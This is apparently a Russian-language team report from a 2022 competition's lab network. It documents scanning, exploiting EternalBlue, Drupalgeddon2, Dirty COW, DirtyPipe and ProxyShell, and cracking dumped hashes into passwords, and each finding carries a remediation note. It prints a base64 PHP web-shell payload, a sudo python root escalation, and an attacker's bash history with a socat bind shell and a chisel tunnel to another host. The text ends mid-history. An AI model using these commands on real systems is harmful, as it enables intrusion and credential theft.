# Отчет Финала НТО 2022 [Команда N_K_N] ## Сегмент DMZ ### Сканирование сети ``` $ nmap -T5 10.19.2.0/24 Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-10 08:44 MSK Nmap scan report for 10.19.2.1 Host is up (0.0021s latency). Not shown: 999 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh Nmap scan report for 10.19.2.2 Host is up (0.0037s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 53/tcp open domain 80/tcp open http Nmap scan report for 10.19.2.3 Host is up (0.0021s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 53/tcp open domain 80/tcp open http Nmap scan report for 10.19.2.4 Host is up (0.0029s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 53/tcp open domain 80/tcp open http Nmap scan report for 10.19.2.10 Host is up (0.0026s latency). Not shown: 996 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 3306/tcp open mysql 8080/tcp open http-proxy Nmap scan report for 10.19.2.11 Host is up (0.0039s latency). Not shown: 996 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 139/tcp open netbios-ssn 445/tcp open microsoft-ds Nmap scan report for 10.19.2.12 Host is up (0.0019s latency). Not shown: 985 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 79/tcp open finger 106/tcp open pop3pw 110/tcp open pop3 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server 49152/tcp open unknown 49153/tcp open unknown 49154/tcp open unknown 49155/tcp open unknown 49156/tcp open unknown 49157/tcp open unknown Nmap scan report for 10.19.2.53 Host is up (0.0029s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 53/tcp open domain Nmap done: 256 IP addresses (8 hosts up) scanned in 8.92 seconds ``` ### Windows #### Поиск и эксплуатация уязвимостей ip: ```10.19.2.12``` После сканирования командой ```nmap```: ``` nmap --script *-vuln* -sC -sV -T5 $IP_range$ ``` Мы обнаруживаем уязвимость eternalblue: ``` VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) | State: VULNERABLE | IDs: CVE:CVE-2017-0143 | Risk factor: HIGH | A critical remote code execution vulnerability exists in Microsoft SMBv1 | servers (ms17-010). ``` После применения скан-модулей auxiliary в metasploit, обнаруживаем уязвимость bluekeep: ![](https://i.imgur.com/PdlYuQI.png) После проверки эксплойтами, получаем что сервер уязвим только к eternalblue: ![](https://i.imgur.com/WyZHv9Z.png) Данная уязвимость имеет идентификатор ```CVE-2017-0144``` в официальной базе данных уязвимостей и имеет высокий рейтинг опасности. После эксплуатации уязвимости, атакующий получает права ядра ОС (ring0), что позволяет полность контролировать систему. https://nvd.nist.gov/vuln/detail/cve-2017-0144 Для исправления уязвимости нужно обновиться до новой версии windows или поставить патчи безопасности ### Linux #### Поиск и эксплуатация уязвимостей ##### Уязвимость в вебе на машине 10.19.2.10 На 80 порте висит сервис на Wordpress. Запускаем wpscan ``` $ wpscan --url http://10.19.2.10 _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.20 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________ [+] URL: http://10.19.2.10/ [10.19.2.10] [+] Started: Thu Mar 10 13:00:34 2022 Interesting Finding(s): [+] Headers | Interesting Entry: Server: nginx/1.14.2 | Found By: Headers (Passive Detection) | Confidence: 100% [+] robots.txt found: http://10.19.2.10/robots.txt | Interesting Entries: | - /wp-admin/ | - /wp-admin/admin-ajax.php | Found By: Robots Txt (Aggressive Detection) | Confidence: 100% [+] XML-RPC seems to be enabled: http://10.19.2.10/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/ [+] WordPress readme found: http://10.19.2.10/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] The external WP-Cron seems to be enabled: http://10.19.2.10/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299 [+] WordPress version 5.9.1 identified (Latest, released on 2022-02-22). | Found By: Rss Generator (Passive Detection) | - http://10.19.2.10/feed/, <generator>https://wordpress.org/?v=5.9.1</generator> | - http://10.19.2.10/comments/feed/, <generator>https://wordpress.org/?v=5.9.1</generator> [+] WordPress theme in use: twentytwentyone | Location: http://10.19.2.10/wp-content/themes/twentytwentyone/ | Last Updated: 2022-01-25T00:00:00.000Z | Readme: http://10.19.2.10/wp-content/themes/twentytwentyone/readme.txt | [!] The version is out of date, the latest version is 1.5 | Style URL: http://10.19.2.10/wp-content/themes/twentytwentyone/style.css?ver=1.3 | Style Name: Twenty Twenty-One | Style URI: https://wordpress.org/themes/twentytwentyone/ | Description: Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. Wi... | Author: the WordPress team | Author URI: https://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | Confirmed By: Css Style In 404 Page (Passive Detection) | | Version: 1.3 (80% confidence) | Found By: Style (Passive Detection) | - http://10.19.2.10/wp-content/themes/twentytwentyone/style.css?ver=1.3, Match: 'Version: 1.3' [+] Enumerating All Plugins (via Passive Methods) [i] No plugins Found. [+] Enumerating Config Backups (via Passive and Aggressive Methods) Checking Config Backups -: |================================================================================================================================| [i] No Config Backups Found. [!] No WPScan API Token given, as a result vulnerability data has not been output. [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register [+] Finished: Thu Mar 10 13:00:40 2022 [+] Requests Done: 139 [+] Cached Requests: 38 [+] Data Sent: 33.996 KB [+] Data Received: 68.831 KB [+] Memory used: 226.48 MB [+] Elapsed time: 00:00:05 ``` Смотрим файл robots.txt: ``` User-agent: * Disallow: /wp-admin/ Allow: /wp-admin/admin-ajax.php Sitemap: http://10.19.2.10/wp-sitemap.xml ``` Заходим на wp-admin и пробуем стандартные креды. Сразу логинимся под кредами ```admin:admin``` Заходим в список плагинов и видим ```wp file manager```. С помощью этого плагина загружаем вредоносный плагин https://github.com/wetw0rk/malicious-wordpress-plugin с реверс шеллом. Получаем доступ к веб-демону www-data. ##### Способы защиты - изменить креды админа для входа - удалить плагин для доступа к локальным файлам - ~~переписать с вордпреса на джангу~~ Ищем директории, в которых доступна запись и выполнение файлов: ``` find . -writable -executable ``` Найдя такую, загружаем и выполняем linpeas: ``` $ cd /var/www/html/wordpress/ $ wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh $ chmod +x linpeas.sh $ ./linpeas.sh ``` В выводе замечаем следующее: ``` User www-data may run the following commands on miad-portal: (ALL : ALL) NOPASSWD: /usr/bin/python /etc/sudoers:Defaults env_reset /etc/sudoers:Defaults mail_badpass /etc/sudoers:Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" /etc/sudoers:root ALL=(ALL:ALL) ALL /etc/sudoers:%sudo ALL=(ALL:ALL) ALL /etc/sudoers:www-data ALL=(ALL:ALL) NOPASSWD: /usr/bin/python ``` Эскалируемся до рута: ``` $ sudo python -c "import pty; pty.spawn('/bin/bash')" ``` ##### Способы защиты - Запретить юзеру ```www-data``` исполнять sudo команды без пароля. ### Уязвимость в вебе на машине 10.19.2.11 На 80 порте висит сервис на Drupal. Находим CVE для получения шела https://github.com/dreadlocked/Drupalgeddon2 Запускаем и получаем шелл на юзер www-data ```./drupalgeddon2.rb http://10.19.2.11/ [*] --==[::#Drupalggedon2::]==-- -------------------------------------------------------------------------------- [i] Target : http://10.19.2.11/ -------------------------------------------------------------------------------- [+] Found : http://10.19.2.11/CHANGELOG.txt (HTTP Response: 200) [+] Drupal!: v7.56 -------------------------------------------------------------------------------- [*] Testing: Form (user/password) [+] Result : Form valid - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - [*] Testing: Clean URLs [+] Result : Clean URLs enabled -------------------------------------------------------------------------------- [*] Testing: Code Execution (Method: name) [i] Payload: echo RDAOCCDR [+] Result : RDAOCCDR [+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO! -------------------------------------------------------------------------------- [*] Testing: Existing file (http://10.19.2.11/shell.php) [!] Response: HTTP 200 // Size: 5. ***Something could already be there?*** - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - [*] Testing: Writing To Web Root (./) [i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee shell.php [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); } [+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!! -------------------------------------------------------------------------------- [i] Fake PHP shell: curl 'http://10.19.2.11/shell.php' -d 'c=hostname' miad-portal2>> ``` #### Способы защиты - обновить версию Drupal Получаем доступ к машине и проверяем версию ядра. ``` $ uname -a ``` ![](https://sun9-52.userapi.com/impg/5DMBH3nezd0j5QR_tlwQIeHDQUPdcNm7JXXU_Q/-ZOo89XGkyo.jpg?size=1158x27&quality=96&sign=23419a915f5ce6fa8d539911974c0c46&type=album) Видим, что ядро старое и узявимо, например, к ```Dirty COW```, она же ```CVE-2016-5195```. Эскалируемся до рута, доставив на машину, скомпилировав и запустив эксплойт. ``` $ ./sploit ``` ![](https://sun9-63.userapi.com/impg/yCegQ_GMiXz8gjVS5wiMtLXgJ4XwTPu3TSumGg/Ee7nW_fM2A4.jpg?size=763x297&quality=96&sign=61085e68a526c8b79394ada19af75507&type=album) #### Способы защиты - обновить ядро до последней версии ##### Компроментация всех linux сервевров. Выгружаем ```/etc/shadow```: ``` root:$6$V91B2eA4NLQDXkK.$8HMq13zriCVZq2Wdz4hQmq.wSJg6oDCa3ExX9LQKTTHT7s9gk6u45bCc2IzRzymrmxF8zegOh/YrAA8jyTCsz0:18779:0:99999:7::: daemon:*:18779:0:99999:7::: bin:*:18779:0:99999:7::: sys:*:18779:0:99999:7::: sync:*:18779:0:99999:7::: games:*:18779:0:99999:7::: man:*:18779:0:99999:7::: lp:*:18779:0:99999:7::: mail:*:18779:0:99999:7::: news:*:18779:0:99999:7::: uucp:*:18779:0:99999:7::: proxy:*:18779:0:99999:7::: www-data:*:18779:0:99999:7::: backup:*:18779:0:99999:7::: list:*:18779:0:99999:7::: irc:*:18779:0:99999:7::: gnats:*:18779:0:99999:7::: nobody:*:18779:0:99999:7::: _apt:*:18779:0:99999:7::: systemd-timesync:*:18779:0:99999:7::: systemd-network:*:18779:0:99999:7::: systemd-resolve:*:18779:0:99999:7::: messagebus:*:18779:0:99999:7::: sshd:*:18779:0:99999:7::: cadm:$6$FXKabw570kGSXnL6$FfQUkrSUB7HtFXWuAwJlSV/YrFB0Vel8nJ.sZ9dOV.P/0icxeY5N/mNjW8HK/WBY20KYhq84jkIw44yaym3jt1:18779:0:99999:7::: systemd-coredump:!!:18779:::::: mysql:!:18779:0:99999:7::: admin:$6$9knG./savy6AdouD$Lra86JrvOf/l.HNB1a1fhNp6EtDAXQ3swIllkAkxxTPcd.z1WvSl6ZPW6N3MAUY5GaTVx1d7DkSQtEZ0FYn4o0:19060:0:99999:7::: ``` При помощи ```john the ripper``` брутим пароль админа: ``` $ john hash.txt --wordlist=rockyou7.txt Created directory: /home/kali/.john Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256" Use the "--format=HMAC-SHA256" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 512/512 AVX512F 8x]) Cost 1 (iteration count) is 5000 for all loaded hashes Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Freedom1 (?) 1g 0:00:00:05 DONE (2022-03-10 13:20) 0.1748g/s 4475p/s 4475c/s 4475C/s 09876543..shelby12 Use the "--show" option to display all of the cracked passwords reliably Session completed. ``` Получаем пароль юзера ```admin:Freedom1```. Подключаемся под этими кредами к тачке. ``` $ ssh admin@10.19.2.11 ``` Получаем доступ под судоюзером ```admin```. Таким образом мы имеем рутовый доступ ко всем linux серверам. Данная уязвимость называется ```reuse credentials```. Чтобы исправить данную уязвимость нужно использовать разные пароли. ## Сегмент Servers ### Сканирование сети ``` $ nmap -T5 10.19.3.0/24 Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-10 08:45 MSK Nmap scan report for 10.19.3.1 Host is up (0.0019s latency). Not shown: 999 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh Nmap scan report for 10.19.3.2 Host is up (0.0035s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 53/tcp open domain 80/tcp open http Nmap scan report for 10.19.3.3 Host is up (0.0020s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 53/tcp open domain 80/tcp open http Nmap scan report for 10.19.3.4 Host is up (0.0036s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 53/tcp open domain 80/tcp open http Nmap scan report for 10.19.3.10 Host is up (0.0036s latency). Not shown: 988 closed tcp ports (reset) PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 3389/tcp open ms-wbt-server Nmap scan report for 10.19.3.20 Host is up (0.0022s latency). Not shown: 977 closed tcp ports (reset) PORT STATE SERVICE 25/tcp open smtp 80/tcp open http 81/tcp open hosts2-ns 110/tcp open pop3 135/tcp open msrpc 139/tcp open netbios-ssn 143/tcp open imap 443/tcp open https 444/tcp open snpp 445/tcp open microsoft-ds 587/tcp open submission 593/tcp open http-rpc-epmap 808/tcp open ccproxy-http 993/tcp open imaps 995/tcp open pop3s 1801/tcp open msmq 2103/tcp open zephyr-clt 2105/tcp open eklogin 2107/tcp open msmq-mgmt 3389/tcp open ms-wbt-server 3800/tcp open pwgpsi 3801/tcp open ibm-mgr 6001/tcp open X11:1 Nmap scan report for 10.19.3.50 Host is up (0.0063s latency). Not shown: 988 closed tcp ports (reset) PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 3389/tcp open ms-wbt-server Nmap done: 256 IP addresses (7 hosts up) scanned in 3.98 seconds ``` ### Windows #### Поиск и эксплуатация уязвимостей ip: ```10.19.3.20``` Повержен сразу 3 уязвимостям в Microsoft Exchange ```CVE-2021-34473```: Path Confusion без аутентификации, ведущий к обходу ACL (исправлено в апреле в KB5001779); ```Ссылка на CVE```: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473 ```Ссылка на патч```: https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-april-13-2021-kb5001779-8e08f3b3-fc7b-466c-bbb7-5d5aa16ef064 ```CVE-2021-34523```: повышение привилегий в Exchange PowerShell Backend (исправлено в апреле в KB5001779) ```Ссылка на CVE```: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523 ```Ссылка на патч```: https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-april-13-2021-kb5001779-8e08f3b3-fc7b-466c-bbb7-5d5aa16ef064 ```CVE-2021-31207```: запись произвольных файлов после аутентификации, что ведет к удаленному выполнению кода. ```Ссылка на CVE```: https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207 ```Ссылка на патч```: https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-may-11-2021-kb5003435-028bd051-b2f1-4310-8f35-c41c9ce5a2f1 Данный киллчеин был назван proxyshell и доступен в ```metasploit``` ![](https://i.imgur.com/NAwCRSk.png) После получение шелла с повышенными привилениями системы ```NT AUTHORITY\system```, мы дампим хеш админа домена ```company.local``` ![](https://i.imgur.com/DKy5BQq.png) Хеш NTLM пользователя ```Administrator``` домена ```company.local``` легко сбрутить с помощью ```john``` ![](https://i.imgur.com/bnrDGmt.png) Таким образом мы захватили управление над active diretory и windows сервером. ## Сегмент Office ``` $ nmap -T5 10.19.4.0/24 Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-10 08:46 MSK Nmap scan report for 10.19.4.1 Host is up (0.0069s latency). Not shown: 999 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh Nmap scan report for 10.19.4.2 Host is up (0.015s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 53/tcp open domain 80/tcp open http Nmap scan report for 10.19.4.3 Host is up (0.0089s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 53/tcp open domain 80/tcp open http Nmap scan report for 10.19.4.4 Host is up (0.0088s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 53/tcp open domain 80/tcp open http Nmap scan report for 10.19.4.6 Host is up (0.010s latency). Not shown: 996 closed tcp ports (reset) PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server Nmap scan report for 10.19.4.8 Host is up (0.015s latency). Not shown: 991 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server 49152/tcp open unknown 49153/tcp open unknown 49154/tcp open unknown 49175/tcp open unknown Nmap scan report for 10.19.4.10 Host is up (0.0092s latency). Not shown: 996 closed tcp ports (reset) PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server Nmap scan report for 10.19.4.13 Host is up (0.018s latency). Not shown: 996 closed tcp ports (reset) PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server Nmap done: 256 IP addresses (8 hosts up) scanned in 6.17 seconds ``` ### Windows #### Поиск и эксплуатация уязвимостей ip: ```10.19.4.8``` После сканирования командой ```nmap```: ``` nmap --script *-vuln* -sC -sV -T5 $IP_range$ ``` Мы обнаруживаем уязвимость eternalblue: ``` VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) | State: VULNERABLE | IDs: CVE:CVE-2017-0143 | Risk factor: HIGH | A critical remote code execution vulnerability exists in Microsoft SMBv1 | servers (ms17-010). ``` После проверки эксплойтами, получаем что сервер уязвим только к eternalblue: ![](https://i.imgur.com/Cx6Asim.png) Данная уязвимость имеет идентификатор ```CVE-2017-0144``` в официальной базе данных уязвимостей и имеет высокий рейтинг опасности. После эксплуатации уязвимости, атакующий получает права ядра ОС (ring0), что позволяет полность контролировать систему. https://nvd.nist.gov/vuln/detail/cve-2017-0144 система имеет другие внутренние уязвимости для повышения прав: ![](https://i.imgur.com/ekW1Hy9.png) Для исправления уязвимости нужно обновиться до новой версии windows или поставить патчи безопасности ## Сегмент asu-tp ``` $ nmap -T5 10.19.239.0/24 Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-10 08:47 MSK Nmap scan report for 10.19.239.1 Host is up (0.0026s latency). Not shown: 999 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh Nmap scan report for 10.19.239.2 Host is up (0.0048s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 53/tcp open domain 80/tcp open http Nmap scan report for 10.19.239.3 Host is up (0.0054s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 53/tcp open domain 80/tcp open http Nmap scan report for 10.19.239.4 Host is up (0.0048s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 53/tcp open domain 80/tcp open http Nmap scan report for 10.19.239.5 Host is up (0.0056s latency). Not shown: 990 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 1433/tcp open ms-sql-s 3389/tcp open ms-wbt-server 49152/tcp open unknown 49153/tcp open unknown 49154/tcp open unknown Nmap scan report for 10.19.239.6 Host is up (0.0056s latency). Not shown: 991 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server 49152/tcp open unknown 49153/tcp open unknown 49154/tcp open unknown 49175/tcp open unknown Nmap done: 256 IP addresses (6 hosts up) scanned in 3.23 seconds ``` ``` $ nmap -T5 10.19.240.0/24 Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-10 08:48 MSK Nmap scan report for 10.19.240.1 Host is up (0.0062s latency). Not shown: 999 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh Nmap scan report for 10.19.240.2 Host is up (0.013s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 53/tcp open domain 80/tcp open http Nmap scan report for 10.19.240.3 Host is up (0.014s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 53/tcp open domain 80/tcp open http Nmap scan report for 10.19.240.4 Host is up (0.010s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 53/tcp open domain 80/tcp open http Nmap scan report for 10.19.240.5 Host is up (0.011s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap scan report for 10.19.240.6 Host is up (0.020s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap scan report for 10.19.240.9 Host is up (0.021s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap scan report for 10.19.240.10 Host is up (0.013s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap scan report for 10.19.240.14 Host is up (0.0080s latency). Not shown: 989 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server 49152/tcp open unknown 49153/tcp open unknown 49154/tcp open unknown 49155/tcp open unknown 49156/tcp open unknown 49157/tcp open unknown Nmap done: 256 IP addresses (9 hosts up) scanned in 6.21 seconds ``` ### Windows #### Поиск и эксплуатация уязвимостей ip: ```10.19.239.5, 10.19.240.14``` После сканирования командой ```nmap```: ``` nmap --script *-vuln* -sC -sV -T5 $IP_range$ ``` Мы обнаруживаем уязвимость eternalblue: ``` VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) | State: VULNERABLE | IDs: CVE:CVE-2017-0143 | Risk factor: HIGH | A critical remote code execution vulnerability exists in Microsoft SMBv1 | servers (ms17-010). ``` После применения скан-модулей auxiliary в metasploit, обнаруживаем уязвимость bluekeep. После проверки эксплойтами, получаем что сервер уязвим только к eternalblue. Данная уязвимость имеет идентификатор ```CVE-2017-0144``` в официальной базе данных уязвимостей и имеет высокий рейтинг опасности. После эксплуатации уязвимости, атакующий получает права ядра ОС (ring0), что позволяет полность контролировать систему. https://nvd.nist.gov/vuln/detail/cve-2017-0144 Для исправления уязвимости нужно обновиться до новой версии windows или поставить патчи безопасности ip: ```10.19.239.5``` так же уязвим к bluekeep ![](https://i.imgur.com/AkwN6fB.png) Данная уязвимость имеет идентификатор ```CVE-2019-0708``` в официальной базе данных уязвимостей и имеет высокий рейтинг опасности. После эксплуатации уязвимости, атакующий получает права ядра ОС (ring0), что позволяет полность контролировать систему. https://nvd.nist.gov/vuln/detail/cve-2019-0708 Для исправления уязвимости нужно обновиться до новой версии windows или поставить патчи безопасности ##### Получение паролей от аккаунтов: Administrator, oper. В консоли meterpreter выполняем команду ```meterpreter> hashdump``` Таким образом мы получаем хеши паролей пользователей Administrator и oper ![](https://i.imgur.com/KnlnB6q.png) Далее запускаем брутфорс хешей с помошью утилиты john ```john --wordlist=rockyou7.txt hash.txt --format=NT``` ![](https://i.imgur.com/vvlHkDX.png) Таким образом мы получаем креды ещё от двух пользователей ``` oper:Peanut1 Администратор:Lovely1 ``` Данная уязвимость называется reuse credentials. Чтобы исправить данную уязвимость нужно использовать разные пароли. #### Вирус на asu-tp На машине ```10.19.240.14``` в директории ```C:\enlogicplc``` находим подозрительный бинарь, который вероятно является малварью. ## Сегмент IDS (10.19.1.254) Первым же делом мы решили просканировать адресс с помощью nmap ``` nmap -sC -sV 10.19.1.254 Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-12 11:35 MSK Nmap scan report for 10.19.1.254 Host is up (0.0016s latency). Not shown: 999 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0) | ssh-hostkey: | 3072 c9:3a:69:a6:d4:15:c4:7e:6e:00:c7:14:16:2d:5d:81 (RSA) | 256 ea:3c:f3:9c:b0:f0:f2:41:e6:79:78:6e:1f:7d:c8:15 (ECDSA) |_ 256 fb:b2:5a:1c:6b:31:bb:eb:71:7a:2f:ad:0d:62:04:56 (ED25519) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 0.70 seconds ``` На машине открыт только один порт и это ssh. Мы знаем логин для этой машины: ```user``` Так как мы знаем логи, мы можем попытаться сбрутить пароль, но делать это с помощью rockyou7.txt нецелесообразно, так как это займет слишком много времени. Ориентируясь по паролям других пользователей было решено отфильтровать rockyou7.txt, оставив только пароли у который первый символ заглавный, а последний - "1". ``` itog = [] with open("rockyou7.txt", 'r') as in_f: pswds = in_f.read().split() for pswd in pswds: pswd = pswd.strip() if pswd[0].isupper() and pswd[-1] == "1": itog.append(pswd) with open("rockyou777.txt", 'w') as out_f: out_f.write("\n".join(itog)) ``` Далее запускаем брутфорс. ```hydra -V -f -t 5=4 -l user -P ./rockyou777.txt ssh://10.19.1.254``` ![](https://i.imgur.com/T0y8qzd.png) Получем креды ```user:Isabella1``` Подключаемся и скачиваем дамп трафика с сервера ``` scp user@10.19.1.254:traf.pcap . ``` Выгружаем файлы из http трафика ![](https://i.imgur.com/JYpg4L8.png) И получаем encr.sh, с помощью которого шифровали файлы на машине ```10.19.2.11``` ![](https://i.imgur.com/xvsMGys.png) ### KERNEL PWN 1337, GETTING R00T ON IDS После исследования системы, где стоит ids, мы обнаружили что ядро подвержено уязвимости ```CVE-2022-0847 (DirtyPipe)``` Ссылка: https://raw.githubusercontent.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit/main/exploit.c Данная уязвимость через пайпы в ядре позволяет переписывать любой файл любого пользователя который открыт и отображён в памяти ядра. Мы меняем пароль пользователя root на aaron через перезапись файла /etc/passwd. ![](https://i.imgur.com/zKiAAOL.png) Чтобы исправить проблему достатачно обновить ядро до актуальной версии. ## Поиск следов работы злоумышленника ### Машина 10.19.2.10 В директории ```/tmp``` находим подозрительный python скрипт ```siem-audit.py```. После недолгого изучения понимаем, что это скрипт для аудита безопасности системы. Не совсем понятно, как он оказался в ```/tmp``` и кто его туда положил, но, вероятно, он мог быть использован злоумышленником для поиска уязвимостей на машине. ### Машина 10.19.2.11 При подключении по ssh под кредами ```admin:Freedom1``` видим следующее приветствие: ``` Oh! Hello there! You've been infected by GachiRansom, send 300$ to paypal:b.harrington@gmail.com to get your unencryption key. ``` Логинимся под рутом: ``` $ sudo su ``` Смотрим историю выполенных команд: ``` $ history ``` Видим там ряд команд, которые, очевидно, были выполнены злоумышленником: ``` 1 setsid /var/www/html/socat tcp-l:8081,reuseaddr,fork exec:/bin/bash,pty,setsid,setpgid,stderr,ctty&&exit 2 id;echo 0 > /proc/sys/vm/dirty_writeback_centisecs;exit 3 setsid /var/www/html/chisel client 10.19.200.50:8083 R:socks 2>1 > /dev/null && exit 4 cd /var/www/html/; rm *.encr chisel* socat* sploit*; pkill -f socat; pkill -f chisel; cp /home/debian/drupal-7.54/*.php /var/www/html 5 cd /var/www/html/; rm *.encr chisel* socat* sploit*; pkill -f socat; pkill -f chisel; cp /home/debian/drupal-7.54/*.php /var/www/html 6 cd /var/www/html/; rm *.encr chisel* socat* sploit*; pkill -f socat; pkill -f chisel; cp /home/debian/drupal-7.54/*.php /var/www/html 7 cd /var/www/html/; rm *.encr chisel* socat* sploit*; pkill -f socat; pkill -f chisel; cp /home/debian/drupal-7.54/*.php /var/www/html 8 cd /var/www/html/; rm *.encr chisel* socat* sploit*; pkill -f socat; pkill -f chisel; cp /home/debian/drupal-7.54/*.php /var/www/html 9 setsid /var/www/html/socat tcp-l:8081,reuseaddr,fork exec:/bin/bash,pty,setsid,setpgid,stderr,ctty&&exit 10 